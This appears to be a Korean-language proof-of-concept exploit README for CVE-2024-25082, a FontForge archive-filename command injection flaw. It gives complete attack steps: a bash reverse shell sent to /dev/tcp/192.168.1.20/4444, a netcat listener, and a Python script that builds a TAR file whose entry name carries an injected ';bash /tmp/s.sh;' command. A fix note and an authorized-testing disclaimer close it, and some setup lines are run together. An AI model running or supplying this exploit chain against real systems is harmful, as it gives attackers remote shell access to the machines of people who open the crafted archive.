
FontForge Splinefont의 조작된 파일명 명령 삽입 취약점
FontForge ≤ 20230101 (Splinefont 구성 요소)의 두 가지 명령 삽입 취약점에 대한 개념 증명 익스플로잇입니다.
| CVE | 벡터 | 트리거 |
|---|---|---|
| CVE-2024-25081 | 조작된 파일명 | 직접 파일 열기 |
| CVE-2024-25082 | 조작된 아카이브 파일명 | TAR/ZIP/GZ/BZ2 추출 |
이 PoC는 CVE-2024-25082를 대상으로 합니다 — FontForge의 자동 아카이브 추출은 파일명을 셸로 전달할 때 삭제(sanitization)하지 않아, TAR 항목 이름에 포함된 세미콜론으로 구분된 페이로드가 임의의 명령을 실행할 수 있게 합니다.
FontForge는 아카이브에서 직접 글꼴 파일을 열 수 있습니다. TAR 아카이브를 추출할 때 Splinefont 구성 요소는 아카이브 항목의 파일명을 사용하여 셸 명령을 구성합니다. 파일명이 삭제되지 않았기 때문에 항목 이름의 세미콜론 (;)이 예상된 명령에서 벗어나 임의의 셸 명령을 주입합니다.
악성 TAR 항목 이름:
exploit.ttf;bash /tmp/s.sh;
FontForge가 이 아카이브를 처리하면 셸은 이를 다음과 같이 해석합니다:
<extract command> exploit.ttf ; bash /tmp/s.sh ;
192.168.1.20:4444 (필요에 따라 조정)tarfile 모듈)netcatnc -lvnp 4444
# Write the reverse shell payload
echo 'bash -i >& /dev/tcp/192.168.1.20/4444 0>&1' > /tmp/s.sh
chmod +x /tmp/s.sh
# Build the malicious archive
python3 << 'EOF'
import tarfile, io
malicious_name = "exploit.ttf;bash /tmp/s.sh;"
tar = tarfile.open("exploit.tar", "w")
info = tarfile.TarInfo(name=malicious_name)
info.size = 4
tar.addfile(info, io.BytesIO(b"AAAA"))
tar.close()
print("done")
EOF
fontforge exploit.tar
리버스 셸이 리스너로 다시 연결됩니다.
FontForge post-20230101에서 PR #5367을 통해 수정되었습니다. 최신 릴리스로 업그레이드하세요.
sudo apt upgrade fontforge이 개념 증명(PoC) 코드는 교육 및 승인된 침투 테스트 목적으로만 제공됩니다.